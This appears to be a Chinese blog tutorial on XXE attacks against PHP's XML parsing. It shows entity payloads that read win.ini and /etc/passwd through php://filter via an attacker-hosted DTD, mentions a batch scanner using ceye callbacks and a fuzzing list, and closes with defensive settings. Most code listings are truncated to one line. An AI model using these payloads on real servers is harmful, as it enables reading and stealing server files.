首先先把环境搭建起来
xml.php
1 |
|
使用的payload如下(测试成功的)
burp xml
1 | <?xml version="1.0" encoding="UTF-8"?> |
VPS dtd
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> |
在测试成功之前遇到各种问题,下面总结下常见的坑
simplexml_load_file
函数
libxml2.9.1
及以后,默认不解析外部实体。测试的时候window下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。
- entity嵌套的时候不能用百分号!!!
之前使用的payload是这样的
1 | <!DOCTYPE convert [ |
然后报错如下
一直没有回显,我原来一直以为是要写成通用实体才能xxe成功,因为用下面payload,在ceye上可以收到回显
1 | <?xml version="1.0" encoding="UTF-8"?> |
后面才知道是%造成报错,如果直接利用%,在引用的时候会导致找不到该参数实体名称。
把payload改成如下
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> |
然后burp发送就回显了
如果服务器是windows dtd读取的是linux下的文件会报错
payload
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> |
- 批量的时候靶机无回显
可能因为网站是java写的,采用file协议获取失败。有表哥要是知道java xxe如何利用的话还请跟我讲讲
放上批量脚本(之前测试用的,不太精确,ceye api不能监控到具体网址存在xxe,望师傅们给点建议)
1 | # -*- coding: utf-8 -*- |
附上xxe fuzzing字典
1 | <?xml version="1.0" encoding="ISO-8859-1"?> |
防御方法:
方案一:使用语言中推荐的禁用外部实体的方法
PHP:
1 | libxml_disable_entity_loader(true); |
JAVA:
1 | DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); |
Python:
1 | from lxml import etree |
方案二:手动黑名单过滤(不推荐)
过滤关键词:
1 | <!DOCTYPE、<!ENTITY SYSTEM、PUBLIC |
参考:
https://security.tencent.com/index.php/blog/msg/69
https://www.leavesongs.com/PENETRATION/php-filter-magic.html